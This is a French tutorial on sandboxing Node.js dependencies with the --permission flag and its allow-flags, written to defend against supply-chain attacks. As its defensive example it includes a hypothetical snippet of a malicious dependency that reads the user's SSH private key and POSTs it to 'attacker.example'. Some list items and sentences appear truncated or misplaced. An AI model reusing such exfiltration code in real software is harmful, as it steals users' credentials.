Isoler les fichiers node_modules à l’aide des flags du modèle de permissions de Node.js
Découvrez comment le drapeau --permission de Node.js refuse par défaut l’accès au système de fichiers, au réseau et aux processus, comment l’octroyer avec précision, ainsi que quels en sont les limites.
Chaque npm install représente un acte de confiance. Un projet disposant de dix dépendances directes finit généralement par compter entre 500 et 1 500 paquets dans node_modules, et presque aucun d’entre eux n’a été consulté par quiconque au sein de votre équipe. Le modèle de permissions de Node.js vous permet de démarrer le processus en mode « refuser par défaut », de sorte qu’un paquet compromis ne puisse accéder qu’aux fichiers, sockets et processus que vous avez explicitement autorisés. Ce guide explique comment fonctionnent ces vérifications, comment les activer sans endommager votre application, et quels manques persistent même lorsque tout est correctement configuré.
Pourquoi la confiance aveugle constitue le véritable problème
Déjà par défaut, Node.js ne fait aucune distinction entre le code écrit par votre équipe et celui publié par un tiers dans le registre. Tout ce qui est chargé dans le processus hérite des pleins privilèges de l’utilisateur du système d’exploitation qui le lance. En pratique, cela signifie que toute dépendance peut :
- lire tout ce que cet utilisateur peut lire, y compris les fichiers
.env, les clés privées SSH et les identifiants cloud tels que~/.aws/credentials; - ouvrir des connexions sortantes et envoyer ces données ailleurs ;
- démarrer des processus enfants et exécuter des commandes de shell ;
- charger des modules natifs
.node, qui sont du code machine compilé que les règles au niveau de JavaScript ne peuvent pas contrôler.
Des incidents réels ont exploité précisément ce mécanisme. Le paquet event-stream détourné contenait un payload visant une bibliothèque de portefeuilles Bitcoin, ua-parser-js a été pris en contrôle et réédité avec du malware, et plusieurs vers volant des tokens se sont propagés via npm. Aucun d’eux n’avait besoin d’une exploitation sophistiquée ; ils devaient simplement s’exécuter à l’intérieur d’un processus qui leur faisait entièrement confiance. Un compte de mainteneur compromis situé à trois niveaux en dessous suffit. Si vous souhaitez en savoir plus sur le déroulement de ces attaques ainsi que les défenses mises en place du côté du registre, consultez comment fonctionnent les attaques de la chaîne d’approvisionnement npm.
Le modèle de permissions traite de la partie liée au temps d’exécution du problème. Il s’agit d’un environnement sandbox au niveau des processus, facultatif, qui inverse la règle par défaut : rien n’est autorisé tant que vous ne l’avez pas explicitement accordé.
Qu’est-ce que le modèle de permissions et où en est-il ?
Cette fonctionnalité restreint l’accès à des ressources spécifiques pendant l’exécution d’un programme. Une fois que le flag correspondant est activé, le processus perd l’accès au système de fichiers, au réseau, aux processus enfants, aux threads d’exploitation, aux extensions natives, à WASI et à FFI, et ne retrouve chacune de ces capacités qu’au moyen d’un flag d’autorisation explicite. La documentation officielle sur les permissions de Node.js constitue la référence pour connaître le comportement exact dans votre version.
Cette fonctionnalité a évolué rapidement :
- Elle a d’abord été intégrée en tant que fonctionnalité expérimentale dans Node.js v20.0.0 en avril 2023.
- Dès les versions v23.5.0 et v22.13.0, elle est classée comme Stability 2 (stable), ce qui signifie qu’il ne s’agit plus d’une fonctionnalité expérimentale à activer via un interrupteur.
--allow-env. Considérez ces fonctionnalités comme dépendantes de la version et vérifiez-les selon la documentation de la version que vous utilisez.En pratique, cela signifie que vous pouvez désormais compter sur ce mécanisme comme une véritable couche de protection contre les compromissions de la chaîne d’approvisionnement, et non plus comme une simple curiosité.
Le modèle mental : un pare-feu autour de votre propre processus
fs.readFileSync() lit simplement le fichier. Avec lui, l’appel passe d’abord par un point de contrôle qui vérifie si cette ressource précise figure sur la liste des autorisations. Si c’est le cas, rien ne change. Sinon, l’appel lance une erreur et le fichier n’est jamais ouvert.
fs.readFileSync ou en enveloppant le module, car la décision est prise en dehors du niveau accessible au JavaScript ordinaire.
Suivre une requête refusée à travers le moteur d’exécution
/etc/passwd :
- Votre code, ou tout module chargé dans le même processus, appelle
fs.readFileSync('/etc/passwd'). - Cette appelée atteint le binding interne
fsde Node, la couche qui communique réellement avec le système d’exploitation. - Au préalable à toute opération E/S, ce binding demande au modèle de permissions si le processus dispose du droit
fs.readpour ce chemin précis. C’est la même question que vous pouvez vous poser en utilisantprocess.permission.has('fs.read', path). - Lorsque le chemin est autorisé, la lecture se déroule comme d’habitude. Un code bien conçu ne remarque aucune différence de comportement.
- Lorsqu’il n’est pas autorisé, Node lance une erreur dont la structure est cohérente et facile à examiner.
L’erreur générée contient un code, le nom de la permission manquante ainsi que le ressource demandée :
Error: Access to this API has been restricted
at node:internal/main/run_main_module:23:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/etc/passwd'
}
Puisque ERR_ACCESS_DENIED est un code stable, vous pouvez le capturer et y réagir de manière intentionnelle, et les bibliothèques conscientes des permissions peuvent faire de même au lieu de faire planter toute l’application.
Activation du sandbox pour la première fois
Activer ce mode nécessite l’ajout d’un paramètre avant le fichier d’entrée :
node --permission index.js
Prévoyez que cela échouera immédiatement, même pour un script vide :
$ node --permission index.js
Error: Access to this API has been restricted
at node:internal/main/run_main_module:23:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/home/user/index.js'
}
Cela prend beaucoup de gens par surprise, mais c’est cohérent : le chargement de index.js est lui-même une lecture du système de fichiers, et les lectures sont refusées comme tout le reste. Il n’existe pas d’exception intégrée pour son propre code source, ce qui constitue une première leçon utile sur la rigueur du modèle.
La solution consiste à autoriser les lectures depuis le répertoire du projet :
node --permission --allow-fs-read=. index.js
Le fichier d’entrée se charge maintenant, mais le premier require() d’un package échouera, car la résolution et le chargement des modules se font également depuis le disque. La prochaine étape habituelle consiste à autoriser explicitement node_modules:
node --permission --allow-fs-read=. --allow-fs-read=./node_modules index.js
Stricto sensu, ./node_modules se trouve déjà sous ., donc le deuxième paramètre est redondant dans une structure simple. Le mentionner séparément devient utile lorsque vous restreignez par la suite le premier paramètre à quelque chose comme ./src, ou lorsque vos dépendances sont placées dans un autre répertoire au sein d’un monorepo.
Pendant que vous apprenez encore quels chemins votre application utilise, vous pouvez autoriser toutes les lectures tout en maintenant verrouillées toutes les autres fonctionnalités :
node --permission --allow-fs-read=* index.js
Considérez le joker * comme des roues d’apprentissage. Il est acceptable pendant le développement ou pour des services où la lecture de fichiers n’est pas l’aspect sensible, mais il permet à toute dépendance de lire vos secrets ; renforcez donc les restrictions avant de livrer tout élément gérant des identifiants.
Chaque fonctionnalité restreinte et le flag qui la débloque
La lecture du système de fichiers n’est qu’un des mécanismes de contrôle. Chaque classe de ressource correspond à son propre flag :
- Lecture du système de fichiers :
--allow-fs-read=. - Écriture dans le système de fichiers :
--allow-fs-write=. - Accès réseau :
--allow-net. - Processus enfants :
--allow-child-process. - Threads de travail :
--allow-worker. - Add-ons natifs :
--allow-addons. - Interface système WebAssembly :
--allow-wasi.
--allow-ffi.Quelques-unes d’entre elles se comportent de manières qu’il est utile de comprendre avant de les utiliser :
- Les deux flags liés au système de fichiers prennent un chemin et peuvent être répétés, par exemple
--allow-fs-read=./data --allow-fs-read=./config. --allow-netne prend aucun argument. Il s’agit d’un seul paramètre qui couvre les communications réseau entrantes et sortantes, y compris les sockets bruts,http,https,fetchainsi que les sockets de domaine Unix.--allow-child-processinfluence également la manière dont les restrictions sont transmises aux processus enfants. Un processus créé avecchild_process.fork()reçoit automatiquement vos flags de permission, tandis quechild_process.spawn()les transmet via la variable d’environnementNODE_OPTIONS. Dans les deux cas, le processus enfant reste à l’intérieur du sandbox sans en sortir.--allow-addonsexige la plus grande prudence. Les addons natifs sont des bibliothèques compilées en C ou C++ chargées à l’aide dedlopen, et une fois chargées, elles s’exécutent en dehors du moteur JavaScript sans aucune autre vérification de permission. Accorder ce flag à du code en cui vous n’avez pas entièrement confiance confère à ce code un pouvoir presque équivalent à celui qu’il aurait sans aucun sandbox.
Exemple concret : un téléchargeur CSV et une dépendance dangereuse
Considérez un script de petite taille mais réaliste. Il lit un fichier CSV depuis le disque, le traite à l’aide du paquet tiers csv-parse et envoie les enregistrements vers une API grâce à axios, un autre paquet tiers :
// process-csv.js
const fs = require('fs');
const { parse } = require('csv-parse/sync'); // third-party dependency
const axios = require('axios'); // third-party dependency
const raw = fs.readFileSync('./data/input.csv', 'utf-8');
const records = parse(raw, { columns: true });
axios
.post('https://api.example.com/ingest', records)
.then(() => console.log('Uploaded', records.length, 'records'));
L’exécution avec simplement node process-csv.js fonctionne. Il en irait de même pour un chargement caché inséré dans une version mineure de csv-parse ou l’une de ses dépendances. Le fragment ci-dessous imite à quoi pourrait ressembler un tel chargement : il lit la clé privée SSH de l’utilisateur et la envoie vers un hôte contrôlé par un attaquant.
// hypothetical malicious code inside a compromised transitive dependency
const fs = require('fs');
const os = require('os');
const https = require('https');
const secret = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf-8');
https.request('https://attacker.example/collect', { method: 'POST' })
.end(secret);
En l’absence d’environnement isolé, cela s’exécute silencieusement et la clé disparaît avant que quiconque ne s’en aperçoive. Maintenant, lancez le même script en n’utilisant que les capacités dont il a réellement besoin, à savoir la lecture depuis le projet et ses dépendances ainsi que l’accès au réseau :
node --permission \
--allow-fs-read=. \
--allow-fs-read=./node_modules \
--allow-net \
process-csv.js
Le travail principal réussit néanmoins : le script lit ./data/input.csv, charge ses modules et atteint l’API. Cependant, la charge utile échoue dès qu’elle touche la clé :
Error: Access to this API has been restricted
at ReadFileHandle.rethrow (node:internal/fs/read/context:53:9) {
code: 'ERR_ACCESS_DENIED',
permission: 'FileSystemRead',
resource: '/home/user/.ssh/id_rsa'
}
os.homedir() indique une adresse en dehors à la fois de . et de ./node_modules, ce qui fait que le chemin n’est pas sur la liste des chemins autorisés ; par conséquent, l’exfiltration n’arrive jamais au stade de l’établissement d’une connexion.
Remarquez ce qui n’a pas aidé ici. Comme le script légitime a besoin de --allow-net, la charge utile aurait pu effectuer des requêtes réseau. Ce qui a sauvé la clé, c’est le champ de lecture restreint. La même logique vous avertit d’une erreur courante : si vous conservez un fichier .env dans la racine du projet et autorisez les lectures depuis ., toutes les dépendances pourront également lire ce fichier. Gardez les secrets en dehors des chemins lisibles, ou injectez-les via un mécanisme qui ne nécessite pas d’accès au système de fichiers par le processus.
Désactiver la création de processus
De nombreuses charges utiles réelles évitent complètement les lectures de fichiers et lancent simplement un shell pour télécharger et exécuter une deuxième étape. Avec --permission activé et sans --allow-child-process, la tentative échoue avant même que tout processus ne démarre :
node:internal/child_process:388
const err = this._handle.spawn(options);
^
Error: Access to this API has been restricted
at ChildProcess.spawn (node:internal/child_process:388:28)
at node:internal/main/run_main_module:17:47 {
code: 'ERR_ACCESS_DENIED',
permission: 'ChildProcess'
}
La plupart des codes d’application, tels que la transformation de données, les appels à des services internes ou l’affichage de modèles, n’ont aucune raison de créer des processus. Si rien dans votre arborescence de dépendances n’a réellement besoin de child_process, désactiver ce paramètre élimine entièrement une catégorie d’attaques sans aucun coût.
Demander l’autorisation depuis votre code
Lorsque le modèle est actif, Node expose process.permission, ce qui permet au code de vérifier une capacité avant d’essayer de l’utiliser, plutôt que de compter sur une exception. Vous pouvez vérifier une capacité de manière générale ou limiter la vérification à un chemin spécifique :
if (process.permission) {
console.log(process.permission.has('fs.write')); // true / false
console.log(process.permission.has('fs.write', '/app/uploads')); // scoped check
console.log(process.permission.has('fs.read')); // true / false
console.log(process.permission.has('net')); // true / false
}
La condition if (process.permission) est importante car l’objet n’existe que lorsque le processus a été lancé avec --permission. Pour les auteurs de bibliothèques, cette API est particulièrement précieuse : un paquet disposant d’une fonctionnalité de télémétrie optionnelle peut vérifier process.permission.has('net') et désactiver discrètement cette fonctionnalité dans un processus en sandbox, sans pour autant perturber l’application hôte.
Faire du sandbox une partie intégrante du fonctionnement du projet
Rédiger manuellement une longue liste de flags est sujette aux erreurs, et un sandbox que l’on oublie d’activer ne protège rien. La solution la plus simple consiste à placer ces flags dans le script start de package.json:
{
"scripts": {
"start": "node --permission --allow-fs-read=. --allow-fs-read=./node_modules --allow-net dist/server.js"
}
}
Pour appliquer la même politique à tous les scripts npm, y compris ceux lancés via npx, vous pouvez définir les paramètres une seule fois à l’aide de NODE_OPTIONS. N’oubliez pas que npm lui-même est un programme Node.js, il est donc également soumis à ces restrictions ; c’est l’une des raisons pour lesquelles cet exemple utilise le paramètre large --allow-fs-read=*.
export NODE_OPTIONS="--permission --allow-fs-read=* --allow-net"
npm start
Pour une seule invocation de npx, transmettez les options directement :
# enabling it for a one-off npx execution
npx --node-options="--permission --allow-fs-read=$(npm prefix -g)" some-cli-tool
Ce dernier schéma montre une fois de plus qu’aucun élément n’est considéré comme fiable par défaut. Afin de localiser et d’exécuter l’outil, Node a besoin d’un accès en lecture vers l’endroit où se trouve réellement le package, que ce soit le répertoire global node_modules indiqué par npm prefix -g ou le cache de npx. Même la commande que vous avez délibérément demandé à exécuter doit se voir accorder des droits d’accès.
Limites à connaître avant de s’y fier
Le modèle de permissions constitue une couche solide, mais le considérer comme une solution complète est risqué.
Les permissions s’appliquent à l’ensemble du processus, et non aux packages individuels
C’est l’avertissement le plus important pour quiconque souhaite restreindre des dépendances spécifiques. Le sandbox établit une séparation entre le processus Node.js et le système d’exploitation. Il ne peut pas définir des règles telles que "left-pad n’a pas accès au réseau, tandis que axios en a." Tous les modules du processus partagent le même ensemble de permissions ; donc, accorder l’option --allow-net à votre client HTTP l’accorde également à tous les autres packages. Ce modèle élève les exigences pour l’ensemble du processus, sans isoler les packages les uns des autres. Si vous avez réellement besoin d’une isolation par composant, vous devez diviser le travail en processus distincts utilisant des paramètres différents.
Les extensions natives contournent tout une fois chargées
Lorsque l’option --allow-addons est activée et qu’un module natif est chargé, son code compilé s’exécute sans aucune vérification supplémentaire. Le sandbox n’a pas accès au code machine.
Le code de vérification peut lui-même présenter des bugs
Ces vérifications ne sont que du code de exécution ordinaire et peuvent être erronées. Une vulnérabilité signalée en 2026, identifiée sous le numéro CVE-2026-58043, a affecté la logique de correspondance des chemins : les listes d’autorisation du système de fichiers sont stockées dans un arbre radiculaire, ce qui permettait à des chemins partageant simplement un préfixe de caractère avec un chemin autorisé d’obtenir indûment des droits d’accès. Cela permettait des lectures ou écritures en dehors du périmètre prévu. Les versions corrigées signalées sont 26.5.1, 24.18.1 et 22.23.2 pour les lignes de version respectives ; consultez les mises à jour de sécurité de Node.js pour obtenir la liste officielle. La leçon à retenir est de ne pas éviter cette fonctionnalité, mais plutôt de maintenir votre environnement de exécution à jour, car même l’utilisation des bons paramètres sur une version vulnérable laisse encore des failles.
Cela limite les dommages ; cela n’empêche pas l’installation
Le sandbox limite la portée de l’explosion lorsqu’un code malveillant s’exécute. Il ne fait rien pour empêcher l’installation de ce code. Continuez à utiliser npm audit, installez avec npm ci en vous basant sur un fichier lockfile validé plutôt que sur des plages de versions floues, examinez les nouvelles dépendances transitives avant toute mise à niveau, et envisagez l’utilisation d’un service de détection des dépendances tel que Socket ou Snyk en complément des contrôles de temps de exécution.
Une liste de vérification pour sa mise en œuvre
- Démarrez avec
--permission --allow-fs-read=*pendant le développement afin de pouvoir identifier les autres fonctionnalités nécessaires à votre application sans avoir à gérer des chemins précis. - Au moment de la publication, restreignez
--allow-fs-readet--allow-fs-writeaux seuls répertoires réellement utilisés par l’application, tels que les dossiers de données, les fichiers de configuration etnode_modules. Ne permettez jamais l’accès à votre répertoire personnel ou au répertoire/.
--allow-addons comme un signe d’alerte et auditez la dépendance qui le requiert.NODE_OPTIONS afin que personne ne puisse les oublier.Points clés
Les attaques contre la chaîne d’approvisionnement fonctionnent parce que Node.js fait confiance à chaque package de l’arborescence autant qu’il fait confiance à son propre code. Le modèle de permissions ne supprime pas cette confiance, puisque le code s’exécute toujours dans votre processus, mais il transforme un rayon d’action illimité en un rayon défini par les flags que vous avez choisis. Sa valeur dépend de la précision de ces flags : des scopes étroits sur le système de fichiers et l’absence de flags de capacité empêchent la plupart des payloads, tandis que des wildcards larges et --allow-addons annulent discrètement cette protection. Associé à un runtime corrigé et à de bonnes pratiques en matière de dépendances, c’est l’un des contrôles de sécurité les moins coûteux que puisse adopter un service Node.js.